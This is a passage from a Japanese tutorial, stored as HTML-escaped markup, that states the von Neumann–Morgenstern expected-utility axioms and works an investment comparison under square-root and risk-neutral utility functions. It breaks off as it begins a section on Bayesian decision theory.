&lt;div&gt;&lt;span&gt;選好関係 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;succeq$&lt;/span&gt;&lt;span&gt; が以下の公理を満たすとき、効用関数 $&lt;/span&gt;&lt;span&gt;u: &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{X} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{R}$&lt;/span&gt;&lt;span&gt; が存在し、任意の確率分布 $&lt;/span&gt;&lt;span&gt;P, Q$&lt;/span&gt;&lt;span&gt; について&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;P &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;succeq Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Leftrightarrow &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int u(x) \, dP(x) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int u(x) \, dQ(x)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;が成立する：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**完全性**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall P, Q$&lt;/span&gt;&lt;span&gt; について $&lt;/span&gt;&lt;span&gt;P &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;succeq Q$&lt;/span&gt;&lt;span&gt; または $&lt;/span&gt;&lt;span&gt;Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;succeq P$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**推移性**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;P &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;succeq Q, Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;succeq R &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Rightarrow P &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;succeq R$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**連続性**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;P &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;succeq Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;succeq R$&lt;/span&gt;&lt;span&gt; なら、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;exists &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in [&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;]$&lt;/span&gt;&lt;span&gt; で $&lt;/span&gt;&lt;span&gt;Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sim &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha P + (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha)R$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**独立性**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;P &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;succeq Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Rightarrow &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha P + (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha)R &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;succeq &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha Q + (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha)R$&lt;/span&gt;&lt;span&gt;（$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall R, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in (&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt;）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この効用関数 $&lt;/span&gt;&lt;span&gt;u$&lt;/span&gt;&lt;span&gt; は正アフィン変換（$&lt;/span&gt;&lt;span&gt;u' = au + b$&lt;/span&gt;&lt;span&gt;、$&lt;/span&gt;&lt;span&gt;a &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）の下で一意である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 問題①　期待効用の計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 問題文&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ある投資家が2つの投資選択肢 $&lt;/span&gt;&lt;span&gt;A$&lt;/span&gt;&lt;span&gt; と $&lt;/span&gt;&lt;span&gt;B$&lt;/span&gt;&lt;span&gt; を比較している。各選択肢の結果と確率は以下の通りである：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**選択肢 $&lt;/span&gt;&lt;span&gt;A$&lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 状態1（確率 $&lt;/span&gt;&lt;span&gt;p_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;0.6&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）: 利益 $&lt;/span&gt;&lt;span&gt;x_{A&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 万円&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 状態2（確率 $&lt;/span&gt;&lt;span&gt;p_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;0.4&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）: 損失 $&lt;/span&gt;&lt;span&gt;x_{A&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} = -&lt;/span&gt;&lt;span&gt;50&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 万円&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**選択肢 $&lt;/span&gt;&lt;span&gt;B$&lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 状態1（確率 $&lt;/span&gt;&lt;span&gt;p_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;0.3&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）: 利益 $&lt;/span&gt;&lt;span&gt;x_{B&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 万円&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 状態2（確率 $&lt;/span&gt;&lt;span&gt;p_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;0.7&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）: 損失 $&lt;/span&gt;&lt;span&gt;x_{B&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} = -&lt;/span&gt;&lt;span&gt;30&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 万円&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;投資家の効用関数は $&lt;/span&gt;&lt;span&gt;u(x) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{x + &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;span&gt;（$&lt;/span&gt;&lt;span&gt;x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;geq -&lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）で与えられる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; 各選択肢の期待効用を求めよ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; どちらの選択肢を選ぶべきか判断せよ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; リスク中立的な投資家（$&lt;/span&gt;&lt;span&gt;u(x) = x$&lt;/span&gt;&lt;span&gt;）の場合の期待効用を比較せよ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 解答&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 1. 選択肢 $A$ の期待効用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;E[U_A] &amp;amp;= p_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot u(x_{A&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}) + p_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot u(x_{A&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}) \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;0.6&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;0.4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{-&lt;/span&gt;&lt;span&gt;50&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;} \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;0.6&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;0.4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;50&lt;/span&gt;&lt;span&gt;} \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;0.6&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;14.1421&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots + &lt;/span&gt;&lt;span&gt;0.4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;7.0711&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.6&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;14.14&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0.4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;7.07&lt;/span&gt;&lt;span&gt; \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;8.48&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;2.83&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;11.31&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 2. 選択肢 $B$ の期待効用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;E[U_B] &amp;amp;= p_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot u(x_{B&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}) + p_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot u(x_{B&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}) \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;0.3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;0.7&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{-&lt;/span&gt;&lt;span&gt;30&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;} \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;0.3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;300&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;0.7&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;70&lt;/span&gt;&lt;span&gt;} \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;0.3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;17.3205&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots + &lt;/span&gt;&lt;span&gt;0.7&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;8.3666&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;17.32&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0.7&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;8.37&lt;/span&gt;&lt;span&gt; \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;5.20&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;5.86&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;11.06&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 3. 選択肢の比較&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;E[U_A] = &lt;/span&gt;&lt;span&gt;11.31&lt;/span&gt;&lt;span&gt; &amp;gt; &lt;/span&gt;&lt;span&gt;11.06&lt;/span&gt;&lt;span&gt; = E[U_B]$&lt;/span&gt;&lt;span&gt; であるため、&lt;/span&gt;&lt;span&gt;**選択肢 $&lt;/span&gt;&lt;span&gt;A$&lt;/span&gt;&lt;span&gt; を選ぶべき**&lt;/span&gt;&lt;span&gt;である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 4. リスク中立的な投資家の場合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;効用関数が $&lt;/span&gt;&lt;span&gt;u(x) = x$&lt;/span&gt;&lt;span&gt; の場合：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**選択肢 $&lt;/span&gt;&lt;span&gt;A$&lt;/span&gt;&lt;span&gt; の期待効用**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;E[U_A] = &lt;/span&gt;&lt;span&gt;0.6&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0.4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times (-&lt;/span&gt;&lt;span&gt;50&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;60&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;40&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 万円}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**選択肢 $&lt;/span&gt;&lt;span&gt;B$&lt;/span&gt;&lt;span&gt; の期待効用**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;E[U_B] = &lt;/span&gt;&lt;span&gt;0.3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0.7&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times (-&lt;/span&gt;&lt;span&gt;30&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;60&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;21&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;39&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 万円}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;リスク中立的な投資家の場合、選択肢 $&lt;/span&gt;&lt;span&gt;A$&lt;/span&gt;&lt;span&gt;（期待値40万円）の方が選択肢 $&lt;/span&gt;&lt;span&gt;B$&lt;/span&gt;&lt;span&gt;（期待値39万円）より優れている。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 答え&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**選択肢 $&lt;/span&gt;&lt;span&gt;A$&lt;/span&gt;&lt;span&gt; の期待効用**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;E[U_A] &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;11.31&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**選択肢 $&lt;/span&gt;&lt;span&gt;B$&lt;/span&gt;&lt;span&gt; の期待効用**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;E[U_B] &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;11.06&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**推奨選択肢**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;**選択肢 $&lt;/span&gt;&lt;span&gt;A$&lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 検証&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;リスク回避的な効用関数 $&lt;/span&gt;&lt;span&gt;u(x) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{x + &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;span&gt; の場合、選択肢 $&lt;/span&gt;&lt;span&gt;A$&lt;/span&gt;&lt;span&gt; の方が期待効用が高い。これは、選択肢 $&lt;/span&gt;&lt;span&gt;A$&lt;/span&gt;&lt;span&gt; の損失が選択肢 $&lt;/span&gt;&lt;span&gt;B$&lt;/span&gt;&lt;span&gt; より大きいものの（-50万円 vs -30万円）、高い確率で利益が得られる（60% vs 30%）ため、リスク回避的な投資家にとって選択肢 $&lt;/span&gt;&lt;span&gt;A$&lt;/span&gt;&lt;span&gt; が好ましいことを示している。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;リスク中立的な投資家の場合も、期待値の観点から選択肢 $&lt;/span&gt;&lt;span&gt;A$&lt;/span&gt;&lt;span&gt; が優れている。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ベイズ意思決定理論（Bayesian Decision Theory）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;状態空間 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Theta$&lt;/span&gt;&lt;span&gt;、観測データ $&lt;/span&gt;&lt;span&gt;y$&lt;/span&gt;&lt;span&gt;、損失関数 $&lt;/span&gt;&lt;span&gt;L(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta, a)$&lt;/span&gt;&lt;span&gt; を考える。ベイズ意思決定では、事後分布 $&lt;/span&gt;&lt;span&gt;p(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid y)$&lt;/span&gt;&lt;span&gt; に基づき期待損失（ベイズリスク）を最小化する行動 $&lt;/span&gt;&lt;span&gt;a^*$&lt;/span&gt;&lt;span&gt; を求める：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
